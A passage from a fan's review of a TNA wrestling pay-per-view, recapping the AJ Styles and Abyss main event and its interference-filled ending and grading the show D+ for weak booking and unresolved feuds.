That’s never been explained I don’t think. He’s the best in the world. What can Flair help him do? Become the best on Venus too? I mean if you factor Flair completely out of this, it’s a solid match based on AJ’s abilities alone. I just do not see what Flair adds to this at all. The other issue: Styles’ offense is based on face style moves. Seriously, he fights like a face does with the high flying stuff and all the kicks.

That’s what makes little sense to me. AJ works on the leg which makes perfect sense at least. The springboard forearm is caught. I love how AJ is outside in position for a springboard and Taz says he thinks he’s going for a springboard. Wow indeed. Pele brings AJ back into control. Question: WHERE IN THE WORLD IS JOE??? Seriously, we haven’t heard about him in like 2 months now and everyone is just not talking about him?

That makes no sense but whatever. It’s TNA so there we are. AJ hits Spiral Tap. CAN’T YOU SEE HOW EVIL HE IS??? The fans chant for the move and I shake my head at how they messed this up. Black Hole Slam gets two with almost no heat. And Flair maces the referee. A belt shot puts AJ down but it’s HOGAN FOR THE SAVE BABY!!! He brings Hebner with him so there’s your new referee I guess.

AJ continues to fail as a heel as he hits a springboard 450 splash but Abyss GIMMICK INFRINGEMENTS UP! Abyss chokeslams him through the ring and Hebner throws the match out. So let me get this straight. Abyss just crushed AJ after Hardy beat AJ on Impact and Pope gets AJ at the next PPV. Why is AJ being bought as champion again? Flair gets mace from Hogan.

Yeah the old men wandered out here looking for the Country Kitchen Buffet and wind up in the ring. And we get the idiotic ending to the show as they mace and punch Wolfe who also ran down and he stumbles over Flair who is on all fours to fall into the hole in the ring. WOW. Hogan leads Abyss around the ring like a canine and that’s it.

Rating: C-. The match itself was good, but the ending is straight up stupid. Seriously, they did a comedy sketch to end the PPV. Also, if AJ is more or less dead, why isn’t Abyss champion? Why does that make it a no contest? The whole thing just made limited sense to me. Also, AJ wrestles like a face, period. There is no reason for him to act like a heel at all. The ending here is the main issue though.

That and the lack of drama to it. Not once in the buildup or in the match did I expect Abyss to win, period. I think Pope gets the title at Lockdown. So what if his hype is mostly gone now due to the long delay? Since when does a champion need people to care about him right? Anyway enough of a tangent. This was an ok match with a flat out stupid ending. Don’t do this again TNA.

Overall Rating: D+. This is a show in two parts. The first half or hour and a half or so is great stuff. The second half, as in everything after Ultimate X, is just weak. There is not a single match on there that got me going or was really that good. The crowd is noticeably weaker too and for a TNA crowd, that’s saying a lot. After this show, I realized the issue: nothing of note happened here.

No titles changed hands, a lot of the feuds are unresolved, we knew MCMG and Kazarian would be winning their matches and AJ looks weak. Tell me, what was settled here? If we’re supposed to wait for Lockdown to do that, why have this show at all? It’s not a bad show by any means. It’s just uneventful. There are two GREAT matches on it which is why this is a good show.

There are passable matches here, no doubt. But like I said, nothing definitive happened here. Anderson and Daffney are going to keep feuding with the respective faces, Abyss deserves another shot, and the tag champions still don’t get along. What came from this show? Oh wait: Nash joined the Band in the most predictable segment this year.

That’s the big thing from this show right? Again, what came out of this show at all, because I’m missing it. Check out the X Division gimmick matches, but other than that, you’ll miss nothing off this show at all.